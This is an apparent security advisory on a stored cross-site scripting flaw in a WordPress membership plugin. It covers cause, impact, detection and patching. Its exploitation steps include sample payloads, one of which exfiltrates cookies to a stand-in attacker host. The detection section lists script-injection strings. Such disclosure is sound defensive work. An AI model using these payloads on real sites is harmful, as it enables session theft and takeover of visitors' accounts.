CVE-2025-14000: 
WordPress vulnerability analysis and mitigation

CVE-2025-14000 is a Stored Cross-Site Scripting (XSS) vulnerability in the Membership Plugin – Restrict Content plugin for WordPress, developed by StellarWP. The flaw affects all versions up to and including 3.2.15, and stems from insufficient input sanitization and output escaping on user-supplied attributes in the register_form and restrict shortcodes. It was published on December 23, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). Authenticated attackers with contributor-level access or higher can supply malicious JavaScript payloads as shortcode attributes (e.g., within [register_form] or [restrict] shortcodes) in WordPress posts or pages. Because the plugin fails to properly sanitize input or escape output before rendering these attributes in HTML, the injected script is stored server-side and executes in the browsers of any user who subsequently visits the affected page. The vulnerable code paths are located in core/includes/shortcodes.php (lines 26 and 135) and core/includes/member-forms.php (line 126) (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the site (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.036%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on a site running Restrict Content ≤ 3.2.15.
2. Create or edit a post/page: Navigate to the WordPress editor and insert a shortcode such as [register_form] or [restrict] with a malicious attribute value, e.g., [register_form class="\" onmouseover=\"alert(document.cookie)\""].
3. Inject the XSS payload: Craft the attribute to break out of the HTML context and inject a <script> tag or event handler, e.g., [restrict tag="</div><script>fetch('https://attacker.com/?c='+document.cookie)</script>"].
4. Publish the content: Submit the post/page for publication (or save as pending review if contributor cannot publish directly).
5. Trigger execution: When any user (including an administrator) visits the page, the injected script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor accounts containing encoded script tags or event handler strings (e.g., <script>, onerror=, onmouseover=) in shortcode parameters.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing obfuscated JavaScript within [register_form] or [restrict] shortcode attributes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages containing the affected shortcodes (indicative of cookie exfiltration or beaconing).
• Logs: Browser console errors or Content Security Policy (CSP) violation reports triggered by inline script execution on pages using the Restrict Content plugin shortcodes.

Update the Membership Plugin – Restrict Content to a version later than 3.2.15, which includes the fix applied in changeset 3420370 addressing sanitization in both shortcodes.php and member-forms.php. Site administrators should audit existing posts and pages for malicious shortcode attributes if contributor-level accounts are untrusted. As a temporary workaround, restrict the ability of contributor-level users to use the affected shortcodes, or disable the plugin until patching is feasible (Wordfence, WordPress Trac Changeset).

The vulnerability was assigned and disclosed by Wordfence, which maintains a threat intelligence entry for it. Red Hat also tracked the CVE in their security advisory database. No significant public researcher commentary, media coverage, or notable social media discussion specific to this CVE has been identified beyond standard vulnerability aggregator postings (Wordfence, Red Hat CVE).